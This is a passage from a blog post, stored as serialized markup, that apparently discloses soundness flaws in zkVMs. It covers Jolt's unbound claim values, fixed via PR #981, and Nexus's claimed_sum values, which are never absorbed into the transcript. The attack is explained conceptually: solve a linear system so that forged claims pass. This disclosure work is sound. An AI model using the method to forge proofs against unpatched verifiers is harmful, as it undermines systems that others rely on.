,[113966,113970,113975,113980,113984],{"type":23,"tag":481,"props":113967,"children":113969},{"className":113968,"style":112634},[1549],[],{"type":23,"tag":481,"props":113971,"children":113973},{"className":113972},[1555,19086],[113974],{"type":28,"value":190},{"type":23,"tag":481,"props":113976,"children":113978},{"className":113977},[1668],[113979],{"type":28,"value":1671},{"type":23,"tag":481,"props":113981,"children":113983},{"className":113982,"style":1675},[1636],[],{"type":23,"tag":481,"props":113985,"children":113987},{"className":113986},[1555,19086],[113988],{"type":28,"value":739},{"type":28,"value":113990}," are determined by the transcript (independent of ",{"type":23,"tag":64,"props":113992,"children":113994},{"className":113993},[1527,1528],[113995],{"type":23,"tag":481,"props":113996,"children":113998},{"className":113997},[1533],[113999],{"type":23,"tag":481,"props":114000,"children":114002},{"className":114001,"ariaHidden":1539},[1538],[114003],{"type":23,"tag":481,"props":114004,"children":114006},{"className":114005},[1544],[114007,114011],{"type":23,"tag":481,"props":114008,"children":114010},{"className":114009,"style":19081},[1549],[],{"type":23,"tag":481,"props":114012,"children":114014},{"className":114013,"style":90813},[1555,19086],[114015],{"type":28,"value":90816},{"type":28,"value":114017},"). The verifier checks that ",{"type":23,"tag":64,"props":114019,"children":114021},{"className":114020},[1527,1528],[114022],{"type":23,"tag":481,"props":114023,"children":114025},{"className":114024},[1533],[114026],{"type":23,"tag":481,"props":114027,"children":114029},{"className":114028,"ariaHidden":1539},[1538],[114030,114116],{"type":23,"tag":481,"props":114031,"children":114033},{"className":114032},[1544],[114034,114038,114103,114107,114112],{"type":23,"tag":481,"props":114035,"children":114037},{"className":114036,"style":108576},[1549],[],{"type":23,"tag":481,"props":114039,"children":114041},{"className":114040},[1555],[114042,114047],{"type":23,"tag":481,"props":114043,"children":114045},{"className":114044,"style":19618},[1555,19086],[114046],{"type":28,"value":113808},{"type":23,"tag":481,"props":114048,"children":114050},{"className":114049},[1572],[114051],{"type":23,"tag":481,"props":114052,"children":114054},{"className":114053},[1577,19140],[114055,114092],{"type":23,"tag":481,"props":114056,"children":114058},{"className":114057},[1582],[114059,114087],{"type":23,"tag":481,"props":114060,"children":114062},{"className":114061,"style":113824},[1587],[114063],{"type":23,"tag":481,"props":114064,"children":114065},{"style":113828},[114066,114070],{"type":23,"tag":481,"props":114067,"children":114069},{"className":114068,"style":1597},[1596],[],{"type":23,"tag":481,"props":114071,"children":114073},{"className":114072},[1602,1603,1604,1605],[114074],{"type":23,"tag":481,"props":114075,"children":114077},{"className":114076},[1555,1605],[114078],{"type":23,"tag":481,"props":114079,"children":114081},{"className":114080},[1555,28,1605],[114082],{"type":23,"tag":481,"props":114083,"children":114085},{"className":114084},[1555,1605],[114086],{"type":28,"value":113851},{"type":23,"tag":481,"props":114088,"children":114090},{"className":114089},[19243],[114091],{"type":28,"value":19246},{"type":23,"tag":481,"props":114093,"children":114095},{"className":114094},[1582],[114096],{"type":23,"tag":481,"props":114097,"children":114099},{"className":114098,"style":90662},[1587],[114100],{"type":23,"tag":481,"props":114101,"children":114102},{},[],{"type":23,"tag":481,"props":114104,"children":114106},{"className":114105,"style":1734},[1636],[],{"type":23,"tag":481,"props":114108,"children":114110},{"className":114109},[1739],[114111],{"type":28,"value":603},{"type":23,"tag":481,"props":114113,"children":114115},{"className":114114,"style":1734},[1636],[],{"type":23,"tag":481,"props":114117,"children":114119},{"className":114118},[1544],[114120,114124,114134,114139],{"type":23,"tag":481,"props":114121,"children":114123},{"className":114122,"style":91992},[1549],[],{"type":23,"tag":481,"props":114125,"children":114127},{"className":114126},[1555,28],[114128],{"type":23,"tag":481,"props":114129,"children":114131},{"className":114130},[1555],[114132],{"type":28,"value":114133},"expected",{"type":23,"tag":481,"props":114135,"children":114137},{"className":114136,"style":90579},[1555],[114138],{"type":28,"value":593},{"type":23,"tag":481,"props":114140,"children":114142},{"className":114141},[1555,28],[114143],{"type":23,"tag":481,"props":114144,"children":114146},{"className":114145},[1555],[114147],{"type":28,"value":35066},{"type":28,"value":114149}," (from PCS opening), this becomes ",{"type":23,"tag":64,"props":114151,"children":114153},{"className":114152},[1527,1528],[114154],{"type":23,"tag":481,"props":114155,"children":114157},{"className":114156},[1533],[114158],{"type":23,"tag":481,"props":114159,"children":114161},{"className":114160,"ariaHidden":1539},[1538],[114162,114188,114214,114240],{"type":23,"tag":481,"props":114163,"children":114165},{"className":114164},[1544],[114166,114170,114175,114179,114184],{"type":23,"tag":481,"props":114167,"children":114169},{"className":114168,"style":112662},[1549],[],{"type":23,"tag":481,"props":114171,"children":114173},{"className":114172},[1555,19086],[114174],{"type":28,"value":190},{"type":23,"tag":481,"props":114176,"children":114178},{"className":114177,"style":1637},[1636],[],{"type":23,"tag":481,"props":114180,"children":114182},{"className":114181},[1642],[114183],{"type":28,"value":108841},{"type":23,"tag":481,"props":114185,"children":114187},{"className":114186,"style":1637},[1636],[],{"type":23,"tag":481,"props":114189,"children":114191},{"className":114190},[1544],[114192,114196,114201,114205,114210],{"type":23,"tag":481,"props":114193,"children":114195},{"className":114194,"style":112691},[1549],[],{"type":23,"tag":481,"props":114197,"children":114199},{"className":114198,"style":90813},[1555,19086],[114200],{"type":28,"value":90816},{"type":23,"tag":481,"props":114202,"children":114204},{"className":114203,"style":1637},[1636],[],{"type":23,"tag":481,"props":114206,"children":114208},{"className":114207},[1642],[114209],{"type":28,"value":1930},{"type":23,"tag":481,"props":114211,"children":114213},{"className":114212,"style":1637},[1636],[],{"type":23,"tag":481,"props":114215,"children":114217},{"className":114216},[1544],[114218,114222,114227,114231,114236],{"type":23,"tag":481,"props":114219,"children":114221},{"className":114220,"style":90494},[1549],[],{"type":23,"tag":481,"props":114223,"children":114225},{"className":114224},[1555,19086],[114226],{"type":28,"value":739},{"type":23,"tag":481,"props":114228,"children":114230},{"className":114229,"style":1734},[1636],[],{"type":23,"tag":481,"props":114232,"children":114234},{"className":114233},[1739],[114235],{"type":28,"value":603},{"type":23,"tag":481,"props":114237,"children":114239},{"className":114238,"style":1734},[1636],[],{"type":23,"tag":481,"props":114241,"children":114243},{"className":114242},[1544],[114244,114248,114257,114262],{"type":23,"tag":481,"props":114245,"children":114247},{"className":114246,"style":91992},[1549],[],{"type":23,"tag":481,"props":114249,"children":114251},{"className":114250},[1555,28],[114252],{"type":23,"tag":481,"props":114253,"children":114255},{"className":114254},[1555],[114256],{"type":28,"value":114133},{"type":23,"tag":481,"props":114258,"children":114260},{"className":114259,"style":90579},[1555],[114261],{"type":28,"value":593},{"type":23,"tag":481,"props":114263,"children":114265},{"className":114264},[1555,28],[114266],{"type":23,"tag":481,"props":114267,"children":114269},{"className":114268},[1555],[114270],{"type":28,"value":35066},{"type":28,"value":199},{"type":23,"tag":24,"props":114273,"children":114274},{},[114275],{"type":28,"value":114276},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":24,"props":114278,"children":114279},{},[114280],{"type":28,"value":114281},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":24,"props":114283,"children":114284},{},[114285,114290,114292],{"type":23,"tag":2875,"props":114286,"children":114287},{},[114288],{"type":28,"value":114289},"Status:",{"type":28,"value":114291}," Fixed on October 3, 2025 via ",{"type":23,"tag":190,"props":114293,"children":114296},{"href":114294,"rel":114295},"https://github.com/a16z/jolt/pull/981",[194],[114297],{"type":28,"value":114298},"PR #981",{"type":23,"tag":16288,"props":114300,"children":114301},{},[],{"type":23,"tag":7092,"props":114303,"children":114305},{"id":114304},"nexus",[114306],{"type":28,"value":105398},{"type":23,"tag":24,"props":114308,"children":114309},{},[114310],{"type":28,"value":114311},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":24,"props":114313,"children":114314},{},[114315,114317,114322],{"type":28,"value":114316},"Nexus splits verification into ",{"type":23,"tag":2875,"props":114318,"children":114319},{},[114320],{"type":28,"value":114321},"components",{"type":28,"value":114323}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":24,"props":114325,"children":114326},{},[114327,114329,114334],{"type":28,"value":114328},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":64,"props":114330,"children":114332},{"className":114331},[],[114333],{"type":28,"value":112443},{"type":28,"value":114335}," summarizes its net contribution:",{"type":23,"tag":24,"props":114337,"children":114338},{},[114339],{"type":23,"tag":64,"props":114340,"children":114342},{"className":114341},[1527,1528],[114343],{"type":23,"tag":481,"props":114344,"children":114346},{"className":114345},[1533],[114347],{"type":23,"tag":481,"props":114348,"children":114350},{"className":114349,"ariaHidden":1539},[1538],[114351,114447,114696],{"type":23,"tag":481,"props":114352,"children":114354},{"className":114353},[1544],[114355,114359,114368,114373,114434,114438,114443],{"type":23,"tag":481,"props":114356,"children":114358},{"className":114357,"style":91992},[1549],[],{"type":23,"tag":481,"props":114360,"children":114362},{"className":114361},[1555,28],[114363],{"type":23,"tag":481,"props":114364,"children":114366},{"className":114365},[1555],[114367],{"type":28,"value":111672},{"type":23,"tag":481,"props":114369,"children":114371},{"className":114370,"style":90579},[1555],[114372],{"type":28,"value":593},{"type":23,"tag":481,"props":114374,"children":114376},{"className":114375},[1555],[114377,114386],{"type":23,"tag":481,"props":114378,"children":114380},{"className":114379},[1555,28],[114381],{"type":23,"tag":481,"props":114382,"children":114384},{"className":114383},[1555],[114385],{"type":28,"value":74164},{"type":23,"tag":481,"props":114387,"children":114389},{"className":114388},[1572],[114390],{"type":23,"tag":481,"props":114391,"children":114393},{"className":114392},[1577,19140],[114394,114423],{"type":23,"tag":481,"props":114395,"children":114397},{"className":114396},[1582],[114398,114418],{"type":23,"tag":481,"props":114399,"children":114401},{"className":114400,"style":91108},[1587],[114402],{"type":23,"tag":481,"props":114403,"children":114404},{"style":111709},[114405,114409],{"type":23,"tag":481,"props":114406,"children":114408},{"className":114407,"style":1597},[1596],[],{"type":23,"tag":481,"props":114410,"children":114412},{"className":114411},[1602,1603,1604,1605],[114413],{"type":23,"tag":481,"props":114414,"children":114416},{"className":114415},[1555,19086,1605],[114417],{"type":28,"value":1274},{"type":23,"tag":481,"props":114419,"children":114421},{"className":114420},[19243],[114422],{"type":28,"value":19246},{"type":23,"tag":481,"props":114424,"children":114426},{"className":114425},[1582],[114427],{"type":23,"tag":481,"props":114428,"children":114430},{"className":114429,"style":90662},[1587],[114431],{"type":23,"tag":481,"props":114432,"children":114433},{},[],{"type":23,"tag":481,"props":114435,"children":114437},{"className":114436,"style":1734},[1636],[],{"type":23,"tag":481,"props":114439,"children":114441},{"className":114440},[1739],[114442],{"type":28,"value":603},{"type":23,"tag":481,"props":114444,"children":114446},{"className":114445,"style":1734},[1636],[],{"type":23,"tag":481,"props":114448,"children":114450},{"className":114449},[1544],[114451,114456,114513,114517,114683,114687,114692],{"type":23,"tag":481,"props":114452,"children":114455},{"className":114453,"style":114454},[1549],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":481,"props":114457,"children":114459},{"className":114458},[19122],[114460,114465],{"type":23,"tag":481,"props":114461,"children":114463},{"className":114462,"style":19129},[19122,19127,19128],[114464],{"type":28,"value":106374},{"type":23,"tag":481,"props":114466,"children":114468},{"className":114467},[1572],[114469],{"type":23,"tag":481,"props":114470,"children":114472},{"className":114471},[1577,19140],[114473,114502],{"type":23,"tag":481,"props":114474,"children":114476},{"className":114475},[1582],[114477,114497],{"type":23,"tag":481,"props":114478,"children":114480},{"className":114479,"style":111786},[1587],[114481],{"type":23,"tag":481,"props":114482,"children":114483},{"style":19153},[114484,114488],{"type":23,"tag":481,"props":114485,"children":114487},{"className":114486,"style":1597},[1596],[],{"type":23,"tag":481,"props":114489,"children":114491},{"className":114490},[1602,1603,1604,1605],[114492],{"type":23,"tag":481,"props":114493,"children":114495},{"className":114494,"style":111802},[1555,19086,1605],[114496],{"type":28,"value":6136},{"type":23,"tag":481,"props":114498,"children":114500},{"className":114499},[19243],[114501],{"type":28,"value":19246},{"type":23,"tag":481,"props":114503,"children":114505},{"className":114504},[1582],[114506],{"type":23,"tag":481,"props":114507,"children":114509},{"className":114508,"style":111817},[1587],[114510],{"type":23,"tag":481,"props":114511,"children":114512},{},[],{"type":23,"tag":481,"props":114514,"children":114516},{"className":114515,"style":1675},[1636],[],{"type":23,"tag":481,"props":114518,"children":114520},{"className":114519},[1555],[114521,114525,114679],{"type":23,"tag":481,"props":114522,"children":114524},{"className":114523},[19215,111097],[],{"type":23,"tag":481,"props":114526,"children":114528},{"className":114527},[111102],[114529],{"type":23,"tag":481,"props":114530,"children":114532},{"className":114531},[1577,19140],[114533,114667],{"type":23,"tag":481,"props":114534,"children":114536},{"className":114535},[1582],[114537,114662],{"type":23,"tag":481,"props":114538,"children":114540},{"className":114539,"style":111115},[1587],[114541,114631,114642],{"type":23,"tag":481,"props":114542,"children":114543},{"style":111119},[114544,114548],{"type":23,"tag":481,"props":114545,"children":114547},{"className":114546,"style":109750},[1596],[],{"type":23,"tag":481,"props":114549,"children":114551},{"className":114550},[1602,1603,1604,1605],[114552],{"type":23,"tag":481,"props":114553,"children":114555},{"className":114554},[1555,1605],[114556,114561,114566],{"type":23,"tag":481,"props":114557,"children":114559},{"className":114558,"style":111136},[1555,19086,1605],[114560],{"type":28,"value":111139},{"type":23,"tag":481,"props":114562,"children":114564},{"className":114563},[1642,1605],[114565],{"type":28,"value":1616},{"type":23,"tag":481,"props":114567,"children":114569},{"className":114568},[1555,1605],[114570,114580],{"type":23,"tag":481,"props":114571,"children":114573},{"className":114572},[1555,28,1605],[114574],{"type":23,"tag":481,"props":114575,"children":114577},{"className":114576},[1555,1605],[114578],{"type":28,"value":114579},"produced",{"type":23,"tag":481,"props":114581,"children":114583},{"className":114582},[1572],[114584],{"type":23,"tag":481,"props":114585,"children":114587},{"className":114586},[1577,19140],[114588,114619],{"type":23,"tag":481,"props":114589,"children":114591},{"className":114590},[1582],[114592,114614],{"type":23,"tag":481,"props":114593,"children":114596},{"className":114594,"style":114595},[1587],"height:0.2052em;",[114597],{"type":23,"tag":481,"props":114598,"children":114600},{"style":114599},"top:-2.2341em;margin-right:0.0714em;",[114601,114605],{"type":23,"tag":481,"props":114602,"children":114604},{"className":114603,"style":106439},[1596],[],{"type":23,"tag":481,"props":114606,"children":114608},{"className":114607},[1602,106444,106445,1605],[114609],{"type":23,"tag":481,"props":114610,"children":114612},{"className":114611,"style":111802},[1555,19086,1605],[114613],{"type":28,"value":6136},{"type":23,"tag":481,"props":114615,"children":114617},{"className":114616},[19243],[114618],{"type":28,"value":19246},{"type":23,"tag":481,"props":114620,"children":114622},{"className":114621},[1582],[114623],{"type":23,"tag":481,"props":114624,"children":114627},{"className":114625,"style":114626},[1587],"height:0.4048em;",[114628],{"type":23,"tag":481,"props":114629,"children":114630},{},[],{"type":23,"tag":481,"props":114632,"children":114633},{"style":111152},[114634,114638],{"type":23,"tag":481,"props":114635,"children":114637},{"className":114636,"style":109750},[1596],[],{"type":23,"tag":481,"props":114639,"children":114641},{"className":114640,"style":111162},[111161],[],{"type":23,"tag":481,"props":114643,"children":114644},{"style":111166},[114645,114649],{"type":23,"tag":481,"props":114646,"children":114648},{"className":114647,"style":109750},[1596],[],{"type":23,"tag":481,"props":114650,"children":114652},{"className":114651},[1602,1603,1604,1605],[114653],{"type":23,"tag":481,"props":114654,"children":114656},{"className":114655},[1555,1605],[114657],{"type":23,"tag":481,"props":114658,"children":114660},{"className":114659},[1555,1605],[114661],{"type":28,"value":1558},{"type":23,"tag":481,"props":114663,"children":114665},{"className":114664},[19243],[114666],{"type":28,"value":19246},{"type":23,"tag":481,"props":114668,"children":114670},{"className":114669},[1582],[114671],{"type":23,"tag":481,"props":114672,"children":114675},{"className":114673,"style":114674},[1587],"height:0.6283em;",[114676],{"type":23,"tag":481,"props":114677,"children":114678},{},[],{"type":23,"tag":481,"props":114680,"children":114682},{"className":114681},[19237,111097],[],{"type":23,"tag":481,"props":114684,"children":114686},{"className":114685,"style":1637},[1636],[],{"type":23,"tag":481,"props":114688,"children":114690},{"className":114689},[1642],[114691],{"type":28,"value":1616},{"type":23,"tag":481,"props":114693,"children":114695},{"className":114694,"style":1637},[1636],[],{"type":23,"tag":481,"props":114697,"children":114699},{"className":114698},[1544],[114700,114704,114761,114765],{"type":23,"tag":481,"props":114701,"children":114703},{"className":114702,"style":112011},[1549],[],{"type":23,"tag":481,"props":114705,"children":114707},{"className":114706},[19122],[114708,114713],{"type":23,"tag":481,"props":114709,"children":114711},{"className":114710,"style":19129},[19122,19127,19128],[114712],{"type":28,"value":106374},{"type":23,"tag":481,"props":114714,"children":114716},{"className":114715},[1572],[114717],{"type":23,"tag":481,"props":114718,"children":114720},{"className":114719},[1577,19140],[114721,114750],{"type":23,"tag":481,"props":114722,"children":114724},{"className":114723},[1582],[114725,114745],{"type":23,"tag":481,"props":114726,"children":114728},{"className":114727,"style":111251},[1587],[114729],{"type":23,"tag":481,"props":114730,"children":114731},{"style":19153},[114732,114736],{"type":23,"tag":481,"props":114733,"children":114735},{"className":114734,"style":1597},[1596],[],{"type":23,"tag":481,"props":114737,"children":114739},{"className":114738},[1602,1603,1604,1605],[114740],{"type":23,"tag":481,"props":114741,"children":114743},{"className":114742,"style":92008},[1555,19086,1605],[114744],{"type":28,"value":86216},{"type":23,"tag":481,"props":114746,"children":114748},{"className":114747},[19243],[114749],{"type":28,"value":19246},{"type":23,"tag":481,"props":114751,"children":114753},{"className":114752},[1582],[114754],{"type":23,"tag":481,"props":114755,"children":114757},{"className":114756,"style":112066},[1587],[114758],{"type":23,"tag":481,"props":114759,"children":114760},{},[],{"type":23,"tag":481,"props":114762,"children":114764},{"className":114763,"style":1675},[1636],[],{"type":23,"tag":481,"props":114766,"children":114768},{"className":114767},[1555],[114769,114773,114923],{"type":23,"tag":481,"props":114770,"children":114772},{"className":114771},[19215,111097],[],{"type":23,"tag":481,"props":114774,"children":114776},{"className":114775},[111102],[114777],{"type":23,"tag":481,"props":114778,"children":114780},{"className":114779},[1577,19140],[114781,114912],{"type":23,"tag":481,"props":114782,"children":114784},{"className":114783},[1582],[114785,114907],{"type":23,"tag":481,"props":114786,"children":114788},{"className":114787,"style":111115},[1587],[114789,114876,114887],{"type":23,"tag":481,"props":114790,"children":114791},{"style":111119},[114792,114796],{"type":23,"tag":481,"props":114793,"children":114795},{"className":114794,"style":109750},[1596],[],{"type":23,"tag":481,"props":114797,"children":114799},{"className":114798},[1602,1603,1604,1605],[114800],{"type":23,"tag":481,"props":114801,"children":114803},{"className":114802},[1555,1605],[114804,114809,114814],{"type":23,"tag":481,"props":114805,"children":114807},{"className":114806,"style":111136},[1555,19086,1605],[114808],{"type":28,"value":111139},{"type":23,"tag":481,"props":114810,"children":114812},{"className":114811},[1642,1605],[114813],{"type":28,"value":1616},{"type":23,"tag":481,"props":114815,"children":114817},{"className":114816},[1555,1605],[114818,114828],{"type":23,"tag":481,"props":114819,"children":114821},{"className":114820},[1555,28,1605],[114822],{"type":23,"tag":481,"props":114823,"children":114825},{"className":114824},[1555,1605],[114826],{"type":28,"value":114827},"consumed",{"type":23,"tag":481,"props":114829,"children":114831},{"className":114830},[1572],[114832],{"type":23,"tag":481,"props":114833,"children":114835},{"className":114834},[1577,19140],[114836,114865],{"type":23,"tag":481,"props":114837,"children":114839},{"className":114838},[1582],[114840,114860],{"type":23,"tag":481,"props":114841,"children":114843},{"className":114842,"style":109911},[1587],[114844],{"type":23,"tag":481,"props":114845,"children":114846},{"style":112156},[114847,114851],{"type":23,"tag":481,"props":114848,"children":114850},{"className":114849,"style":106439},[1596],[],{"type":23,"tag":481,"props":114852,"children":114854},{"className":114853},[1602,106444,106445,1605],[114855],{"type":23,"tag":481,"props":114856,"children":114858},{"className":114857,"style":92008},[1555,19086,1605],[114859],{"type":28,"value":86216},{"type":23,"tag":481,"props":114861,"children":114863},{"className":114862},[19243],[114864],{"type":28,"value":19246},{"type":23,"tag":481,"props":114866,"children":114868},{"className":114867},[1582],[114869],{"type":23,"tag":481,"props":114870,"children":114872},{"className":114871,"style":112183},[1587],[114873],{"type":23,"tag":481,"props":114874,"children":114875},{},[],{"type":23,"tag":481,"props":114877,"children":114878},{"style":111152},[114879,114883],{"type":23,"tag":481,"props":114880,"children":114882},{"className":114881,"style":109750},[1596],[],{"type":23,"tag":481,"props":114884,"children":114886},{"className":114885,"style":111162},[111161],[],{"type":23,"tag":481,"props":114888,"children":114889},{"style":111166},[114890,114894],{"type":23,"tag":481,"props":114891,"children":114893},{"className":114892,"style":109750},[1596],[],{"type":23,"tag":481,"props":114895,"children":114897},{"className":114896},[1602,1603,1604,1605],[114898],{"type":23,"tag":481,"props":114899,"children":114901},{"className":114900},[1555,1605],[114902],{"type":23,"tag":481,"props":114903,"children":114905},{"className":114904},[1555,1605],[114906],{"type":28,"value":1558},{"type":23,"tag":481,"props":114908,"children":114910},{"className":114909},[19243],[114911],{"type":28,"value":19246},{"type":23,"tag":481,"props":114913,"children":114915},{"className":114914},[1582],[114916],{"type":23,"tag":481,"props":114917,"children":114919},{"className":114918,"style":112231},[1587],[114920],{"type":23,"tag":481,"props":114921,"children":114922},{},[],{"type":23,"tag":481,"props":114924,"children":114926},{"className":114925},[19237,111097],[],{"type":23,"tag":24,"props":114928,"children":114929},{},[114930,114932,114937],{"type":28,"value":114931},"All ",{"type":23,"tag":64,"props":114933,"children":114935},{"className":114934},[],[114936],{"type":28,"value":112443},{"type":28,"value":114938}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":24,"props":114940,"children":114941},{},[114942,114944,114949],{"type":28,"value":114943},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":2875,"props":114945,"children":114946},{},[114947],{"type":28,"value":114948},"OODS (Out-of-Domain Sampling)",{"type":28,"value":114950}," test.",{"type":23,"tag":24,"props":114952,"children":114953},{},[114954],{"type":23,"tag":2875,"props":114955,"children":114956},{},[114957],{"type":28,"value":112995},{"type":23,"tag":435,"props":114959,"children":114961},{"code":114960},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[114962],{"type":23,"tag":64,"props":114963,"children":114964},{"__ignoreMap":7},[114965],{"type":28,"value":114960},{"type":23,"tag":24,"props":114967,"children":114968},{},[114969,114971,114976],{"type":28,"value":114970},"The",{"type":23,"tag":64,"props":114972,"children":114974},{"className":114973},[],[114975],{"type":28,"value":112443},{"type":28,"value":114977}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":24,"props":114979,"children":114980},{},[114981],{"type":23,"tag":149,"props":114982,"children":114985},{"alt":114983,"src":114984},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":24,"props":114987,"children":114988},{},[114989,114991,115000],{"type":28,"value":114990},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":2875,"props":114992,"children":114993},{},[114994,114995],{"type":28,"value":109450},{"type":23,"tag":64,"props":114996,"children":114998},{"className":114997},[],[114999],{"type":28,"value":112443},{"type":28,"value":287},{"type":23,"tag":24,"props":115002,"children":115003},{},[115004],{"type":28,"value":115005},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":24,"props":115007,"children":115008},{},[115009],{"type":23,"tag":64,"props":115010,"children":115012},{"className":115011},[1527,1528],[115013],{"type":23,"tag":481,"props":115014,"children":115016},{"className":115015},[1533],[115017],{"type":23,"tag":481,"props":115018,"children":115020},{"className":115019,"ariaHidden":1539},[1538],[115021,115062,115201],{"type":23,"tag":481,"props":115022,"children":115024},{"className":115023},[1544],[115025,115029,115034,115039,115044,115049,115053,115058],{"type":23,"tag":481,"props":115026,"children":115028},{"className":115027,"style":1657},[1549],[],{"type":23,"tag":481,"props":115030,"children":115032},{"className":115031,"style":19618},[1555,19086],[115033],{"type":28,"value":113808},{"type":23,"tag":481,"props":115035,"children":115037},{"className":115036},[19215],[115038],{"type":28,"value":618},{"type":23,"tag":481,"props":115040,"children":115042},{"className":115041},[1555,19086],[115043],{"type":28,"value":16772},{"type":23,"tag":481,"props":115045,"children":115047},{"className":115046},[19237],[115048],{"type":28,"value":642},{"type":23,"tag":481,"props":115050,"children":115052},{"className":115051,"style":1734},[1636],[],{"type":23,"tag":481,"props":115054,"children":115056},{"className":115055},[1739],[115057],{"type":28,"value":603},{"type":23,"tag":481,"props":115059,"children":115061},{"className":115060,"style":1734},[1636],[],{"type":23,"tag":481,"props":115063,"children":115065},{"className":115064},[1544],[115066,115070,115127,115131,115188,115192,115197],{"type":23,"tag":481,"props":115067,"children":115069},{"className":115068,"style":113212},[1549],[],{"type":23,"tag":481,"props":115071,"children":115073},{"className":115072},[19122],[115074,115079],{"type":23,"tag":481,"props":115075,"children":115077},{"className":115076,"style":19129},[19122,19127,19128],[115078],{"type":28,"value":106374},{"type":23,"tag":481,"props":115080,"children":115082},{"className":115081},[1572],[115083],{"type":23,"tag":481,"props":115084,"children":115086},{"className":115085},[1577,19140],[115087,115116],{"type":23,"tag":481,"props":115088,"children":115090},{"className":115089},[1582],[115091,115111],{"type":23,"tag":481,"props":115092,"children":115094},{"className":115093,"style":111786},[1587],[115095],{"type":23,"tag":481,"props":115096,"children":115097},{"style":19153},[115098,115102],{"type":23,"tag":481,"props":115099,"children":115101},{"className":115100,"style":1597},[1596],[],{"type":23,"tag":481,"props":115103,"children":115105},{"className":115104},[1602,1603,1604,1605],[115106],{"type":23,"tag":481,"props":115107,"children":115109},{"className":115108},[1555,19086,1605],[115110],{"type":28,"value":1274},{"type":23,"tag":481,"props":115112,"children":115114},{"className":115113},[19243],[115115],{"type":28,"value":19246},{"type":23,"tag":481,"props":115117,"children":115119},{"className":115118},[1582],[115120],{"type":23,"tag":481,"props":115121,"children":115123},{"className":115122,"style":112066},[1587],[115124],{"type":23,"tag":481,"props":115125,"children":115126},{},[],{"type":23,"tag":481,"props":115128,"children":115130},{"className":115129,"style":1675},[1636],[],{"type":23,"tag":481,"props":115132,"children":115134},{"className":115133},[1555],[115135,115140],{"type":23,"tag":481,"props":115136,"children":115138},{"className":115137,"style":112667},[1555,19086],[115139],{"type":28,"value":112670},{"type":23,"tag":481,"props":115141,"children":115143},{"className":115142},[1572],[115144],{"type":23,"tag":481,"props":115145,"children":115147},{"className":115146},[1577,19140],[115148,115177],{"type":23,"tag":481,"props":115149,"children":115151},{"className":115150},[1582],[115152,115172],{"type":23,"tag":481,"props":115153,"children":115155},{"className":115154,"style":91108},[1587],[115156],{"type":23,"tag":481,"props":115157,"children":115158},{"style":113302},[115159,115163],{"type":23,"tag":481,"props":115160,"children":115162},{"className":115161,"style":1597},[1596],[],{"type":23,"tag":481,"props":115164,"children":115166},{"className":115165},[1602,1603,1604,1605],[115167],{"type":23,"tag":481,"props":115168,"children":115170},{"className":115169},[1555,19086,1605],[115171],{"type":28,"value":1274},{"type":23,"tag":481,"props":115173,"children":115175},{"className":115174},[19243],[115176],{"type":28,"value":19246},{"type":23,"tag":481,"props":115178,"children":115180},{"className":115179},[1582],[115181],{"type":23,"tag":481,"props":115182,"children":115184},{"className":115183,"style":90662},[1587],[115185],{"type":23,"tag":481,"props":115186,"children":115187},{},[],{"type":23,"tag":481,"props":115189,"children":115191},{"className":115190,"style":1637},[1636],[],{"type":23,"tag":481,"props":115193,"children":115195},{"className":115194},[1642],[115196],{"type":28,"value":108841},{"type":23,"tag":481,"props":115198,"children":115200},{"className":115199,"style":1637},[1636],[],{"type":23,"tag":481,"props":115202,"children":115204},{"className":115203},[1544],[115205,115209,115271,115276,115281],{"type":23,"tag":481,"props":115206,"children":115208},{"className":115207,"style":1657},[1549],[],{"type":23,"tag":481,"props":115210,"children":115212},{"className":115211},[1555],[115213,115223],{"type":23,"tag":481,"props":115214,"children":115216},{"className":115215},[1555,28],[115217],{"type":23,"tag":481,"props":115218,"children":115220},{"className":115219},[1555],[115221],{"type":28,"value":115222},"constraint",{"type":23,"tag":481,"props":115224,"children":115226},{"className":115225},[1572],[115227],{"type":23,"tag":481,"props":115228,"children":115230},{"className":115229},[1577,19140],[115231,115260],{"type":23,"tag":481,"props":115232,"children":115234},{"className":115233},[1582],[115235,115255],{"type":23,"tag":481,"props":115236,"children":115238},{"className":115237,"style":91108},[1587],[115239],{"type":23,"tag":481,"props":115240,"children":115241},{"style":111709},[115242,115246],{"type":23,"tag":481,"props":115243,"children":115245},{"className":115244,"style":1597},[1596],[],{"type":23,"tag":481,"props":115247,"children":115249},{"className":115248},[1602,1603,1604,1605],[115250],{"type":23,"tag":481,"props":115251,"children":115253},{"className":115252},[1555,19086,1605],[115254],{"type":28,"value":1274},{"type":23,"tag":481,"props":115256,"children":115258},{"className":115257},[19243],[115259],{"type":28,"value":19246},{"type":23,"tag":481,"props":115261,"children":115263},{"className":115262},[1582],[115264],{"type":23,"tag":481,"props":115265,"children":115267},{"className":115266,"style":90662},[1587],[115268],{"type":23,"tag":481,"props":115269,"children":115270},{},[],{"type":23,"tag":481,"props":115272,"children":115274},{"className":115273},[19215],[115275],{"type":28,"value":618},{"type":23,"tag":481,"props":115277,"children":115279},{"className":115278},[1555,19086],[115280],{"type":28,"value":16772},{"type":23,"tag":481,"props":115282,"children":115284},{"className":115283},[19237],[115285],{"type":28,"value":642},{"type":23,"tag":24,"props":115287,"children":115288},{},[115289,115291,115296,115298,115303],{"type":28,"value":115290},"Since each constraint is linear in its 